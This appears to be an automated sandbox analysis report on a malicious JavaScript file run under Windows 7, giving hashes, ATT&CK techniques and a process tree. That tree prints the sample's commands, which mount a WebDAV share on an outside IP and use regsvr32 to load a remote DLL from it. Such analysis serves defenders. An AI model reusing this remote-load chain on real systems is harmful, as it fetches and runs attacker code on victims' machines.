f65f77fde99b8a3d1b3673d90e49f88d088953ee44ba71456a5e5001395ebd3e

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
11/07/2024, 02:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1961911094742131286.js
Size

5KB
MD5

85097639203093e55adb60a5a3b1ea28
SHA1

95289cca88620a2d078fa3b356d161168cd30d7e
SHA256

f65f77fde99b8a3d1b3673d90e49f88d088953ee44ba71456a5e5001395ebd3e
SHA512

ee565391109cbfbe911e768ea5fe525f0496ea896c15f60d7993ed51305c4be9374ebe0c22ad3af4c197f4cdad6cfb2ee9890b15c69c0c48e0f7ca9776c67621
SSDEEP

96:0UeFaOpYkKkjrYk/EC5vH7NBi8P5UP5krjh4kWzOBQkrck8ek7t:teaT5GcaVJBrKx+jh4JOW+cWkx

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1160	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 2928	2688	wscript.exe	30
PID 2688 wrote to memory of 2928	2688	wscript.exe	30
PID 2688 wrote to memory of 2928	2688	wscript.exe	30
PID 2928 wrote to memory of 2872	2928	cmd.exe	32
PID 2928 wrote to memory of 2872	2928	cmd.exe	32
PID 2928 wrote to memory of 2872	2928	cmd.exe	32
PID 2928 wrote to memory of 1160	2928	cmd.exe	33
PID 2928 wrote to memory of 1160	2928	cmd.exe	33
PID 2928 wrote to memory of 1160	2928	cmd.exe	33
PID 2928 wrote to memory of 1160	2928	cmd.exe	33
PID 2928 wrote to memory of 1160	2928	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1961911094742131286.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1961911094742131286.js" "C:\Users\Admin\\zrqvxm.bat" && "C:\Users\Admin\\zrqvxm.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2872
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\475.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\zrqvxm.bat

Filesize
5KB

MD5
85097639203093e55adb60a5a3b1ea28

SHA1
95289cca88620a2d078fa3b356d161168cd30d7e

SHA256
f65f77fde99b8a3d1b3673d90e49f88d088953ee44ba71456a5e5001395ebd3e

SHA512
ee565391109cbfbe911e768ea5fe525f0496ea896c15f60d7993ed51305c4be9374ebe0c22ad3af4c197f4cdad6cfb2ee9890b15c69c0c48e0f7ca9776c67621

Download Submit